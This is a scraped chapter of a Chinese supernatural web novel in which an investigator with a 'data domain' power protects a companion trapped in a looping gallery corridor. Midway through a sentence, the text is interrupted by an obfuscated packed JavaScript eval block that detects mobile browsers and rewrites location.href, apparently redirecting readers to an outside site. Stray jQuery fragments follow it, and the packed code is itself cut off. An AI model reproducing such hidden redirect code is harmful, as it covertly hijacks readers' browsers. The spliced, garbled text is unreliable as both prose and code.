“路。”
林清杳的声音轻颤了一下。
“……路？”
吴渊看看两侧。
这是这家画廊的特色，一个圆形的走廊。走廊两侧都挂了各种各样的画。
走廊的宽窄和他之前走过时的没什么区别。
至于两边挂着的画，都是一些他看不懂的东西，也和之前没什么不同。
当日举办画展，这圆形环状的走廊上挂着的就是抽象派的画。
画展过后，已经有人失踪，这些画还没有被取下。
吴渊过来调查的时候，就看到过那些抽象的画。
他实在看不明白，还差点怀疑那是不是所谓的“恶魔涂鸦”。
后来确定这些画没问题，真正将失踪的那些人带走的，是另一隐藏在画廊之内，并不会随便被人看到的画，他才没将过多的注意力放在这些抽象派的画上。
但为了解决这起诡异事件，他还是记住了所有画的样子。
现在，他辨认走廊两旁的这些画，也觉得这确实就是之前挂在这里的画。
这么看来，这个地方，应该没出现什么奇怪……不对！
吴渊反应过来了。
他今晚和林清杳一起进入这画廊之后，他就已经见过这些画了！
换言之，鬼打墙？
还要是连他都没有发现的鬼打墙？
吴渊眉心微锁。
进入画廊之前，他就已经和画家意识短暂地交手。
尽管那时候画家意识倾向于试探，他略微地展现了实力，画家意识就没有继续纠缠，而是利落地让他和林清杳进入这里，但他还是能感知到画家意识的大概实力。
调查局要和国际接轨，有时候还要和周边国家联合，共同对付公共区域内出现的诡异事件。
为此，调查局内部的实力等级划分方式是从F级到SSS级，而没有使用其他等级体系。
一般情况下，F级诡异事件不会对人造成什么影响，乃至于很多遇到了这一等级诡异事件的普通人都没有任何感受，连事件什么时候被隐藏在各地的调查局成员解决了都不清楚。
而E级诡异，就会让人产生一定感觉，就算平常大大咧咧惯了，压根不敏感的人，都可能会留意到身边出现了某些异常。
至于D级诡异，就真的能让人动摇一直以来的科学观了。但只要调查局的人解决事件之后，再一通忽悠，也能勉强以看似科学的解释糊弄过去。
比如林清杳刚才开锁开得特别艰难，就属于这一级别的最低级诡异事件。知道内情的人会明白有诡异出手了。
不知道内情的人，就算已经尝试了往钥匙上添加油充当润滑等方式，依旧无法开锁，他们也不会觉得真的有什么问题。
但如果这些人反复地遇到类似的事，还无法解决，他们就有可能开始精神恍惚，身体患病，乃至于在迷迷糊糊的情况下做出自杀一类行为。
这必须要调查局的人介入才能处理。而调查局介入之后，可以告诉他们，他们只是因为最初发生在身边的不顺利，导致精神压力越积越大，以至于出现躯体化症状。
别管这些人最后信不信，调查局的解释都能勉强自圆其说。
而C级诡异，则需要用到特殊能力，洗掉或者更改相关人员的记忆，才能让这些人不觉得这个世界是有诡异的。
这个级别的诡异，已经能对现实造成很大的影响。
吴渊和画家意识有过短暂交锋后，就觉得这个画家意识实力应该在C-层次，堪堪够得着C级，但也不算多强。
画廊之中最恐怖的，是来自异世界的诡异。
画家意识如果没有得到异世界诡异的帮助，根本不会拥有绑架那么多人的能力！
但鬼打墙这种技能，应该是画家意识这样的怨灵掌握的技能，而不是林清杳描述中的异世界诡异的技能。
吴渊左手微动。
确定自己和林清杳在找到有问题的画之前就已遇到诡异，他开始考虑怎么给林清杳增添防御措施了。
进入画廊之前，他已经在林清杳后背悄悄画了一道符。
这道符不能用肉眼看出，但如果真的遇到了诡异，那还是有些用的。他也能因为符的示警，而和林清杳不小心分散了，也能及时地知道林清杳这边遇到什么，从而出手救援。
现在确定真遇到事了，他之前准备的符还没有任何动静，那他应该要给林清杳增加一个防御。
这次，换一种符。
异世界来的诡异？他以前只遇到过恶魔一类东西。
也不知道这次和画结合的异世界诡异和恶魔有没有共同之处，还是说就是同一类生物，只因林清杳不怎么懂这些，才给了一个不明确的说法。
吴渊这次给林清杳加防御，没有再动用自己道术方面的本领，而是直接以觉醒的能力施加防御。
他觉醒的能力名为“数据领域”。
当初他刚觉醒这一能力，能力之下就只有一个技能，即让他的一切情况都可以数据化。
这就让他的修炼变得有些像玩游戏。
别人只能靠感知确定自己到底已经到了哪一水准，又要如何才能更进一步。
而他则可以根据数据化确定他的实力情况。
别人遇到了瓶颈，可能怎么都没办法突破。
他则可以通过一遍遍的锻炼，提升数据，无痛冲过瓶颈。
他的“数据领域”这一能力，同样可以被数据化，然后不断升级。
他越是使用，这一能力的熟练度就越高，能力越强。
他刚刚得到“数据化”技能，还只能数据化自己的信息。
而现在，他已经能用数据化清晰地看到更多。
只不过他的数据化技能还是有限制。
他必须要亲眼看到对话，才能数据化对方情况。
他刚才和画家意识交锋，他就因为并没有亲眼看到画家意识，以至于还是只能通过其他方式来评估画家实力，而无法一眼看破。
他的数据领域能力提升后，给他的技能也变多了。
他刚才给林清杳的就是“数据防护”。
以他当前能力，他一天之内，只能赋予人一次“数据防护”，而这数据防护只有他自身防御力的五成。一旦数据防护被激活，能维持的时间只有半个小时。
他的技能冷却次数都是午夜十二点刷新。
他之前留着这一能力还未使用，就是考虑到午夜之前还可能会出现的其他情况。
他留着这个技能备用，实在用不上再在零点之前施加给林清杳，总比他早早用了这技能，却在没遇到真正的危险之前，林清杳已经激活了这技能，用尽了半小时防御好。
林清杳的个人能力太弱。
哪怕只在画廊之中发生了一点小事，都有可能会被他施加的数据防护判定为有危险，从而立刻激活启动。
可现在这情况，他不动用觉醒能力，可能没办法更稳妥地保护好林清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817528|190968||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杳。
早是早了一点，但先将这能力用上，总比出事再懊悔好。
吴渊给林清杳加了防御，立刻收回左手。
他的动作幅度并不大，而且都是在林清杳身后进行的。
可林清杳好像知道了什么，忽然间转头看了他一眼，眼神中还藏着一丝疑惑。
吴渊淡定地看回她。
林清杳微微皱眉。
“我们应该是第三次走到这里了。前两次我都没什么感觉，这一次……不知道为什么，我觉得有点冷。”
还在画廊外面，她吹着风，确实一度觉得有一点点冷。
但那种冷，完全是风带来的。
进入画廊后，关了门，没有风吹了，寒意就消退很多。
可走着这一圆环走廊，她走着走着，就觉得越来越冷。
“先出去？”
吴渊的语气很平静。
但落到林清杳耳中，味道就有点不同了。
林清杳连忙摇头。
“不行！越是拖延，情况只会对我们越不利！”
吴渊眉心锁得紧了一点。
林清杳努力让自己保持平静。
她对上吴渊的目光。
“我们得留下来，得找到那幅画。既然我们已经被困住了，那就算我们想出去，也不会这么容易的。”
“他可能想你出去。”
画家意识不希望林清杳进来。
吴渊忽然想到那只怪鸟会主动来找林清杳。
他离得远远地知道林清杳那里出了事，匆忙赶过去，然后看到怪鸟快要啄破窗户了，他就来不及多想，先发出攻击。
事后回想，他才觉得，那时候怪鸟可能对林清杳没有多少恶意。
不过这种事也不是那么好说的。
林清杳已经更新的《笼中鸟》内容里也提到，这一单元主角陈田庆刚刚半夜听到自己养的金丝雀疯狂地撞笼子的时候，他们全家都没觉得金丝雀对他们一家有恶意。
他们只觉得半夜的怪声影响了自己睡觉，陈田庆的家人觉得陈田庆痴迷玩鸟，实在是太不应该。
之后，才有了家庭内部的矛盾，再到陈田庆想要保住自己的鸟，却一遍遍地失败的事。
黑鸟来找林清杳，说不定也是这样。
刚开始时，没有什么恶意。
但如果黑鸟来见闻纹的次数多了，危险就会逐步变大。
吴渊想到这里，再次开口：“出去对你比较好。”
他不怕直接和诡异杠上，只怕诡异气急败坏直接杀了被绑架的人。
若不是有人质在诡异手中，他能用最暴力的方式解决这一事件。
林清杳不一样。
林清杳听出了吴渊预期中的坚决。
她眉头一皱，情急之下，直接抓住了吴渊的手。
“拜托！给我一点时间就行！我能找到那幅画的！我也知道……”
忽然，林清杳觉得自己双手一空。
被她抓住的吴渊不知道用什么事挣脱了出来。
而后，她被吴渊一拽，整个人竟然直接摔向吴渊怀里。
吴渊用左手捂着她的嘴，右手拿着一把桃木雕成的小剑，遥遥指着前方。
林清杳不由睁大了眼睛。
她也往前面看去。
那里，似乎出现了一团漂浮的雾气。
然后，还有什么潮湿的咸腥味吹过来。
这样闻着，特别像是海风的味道。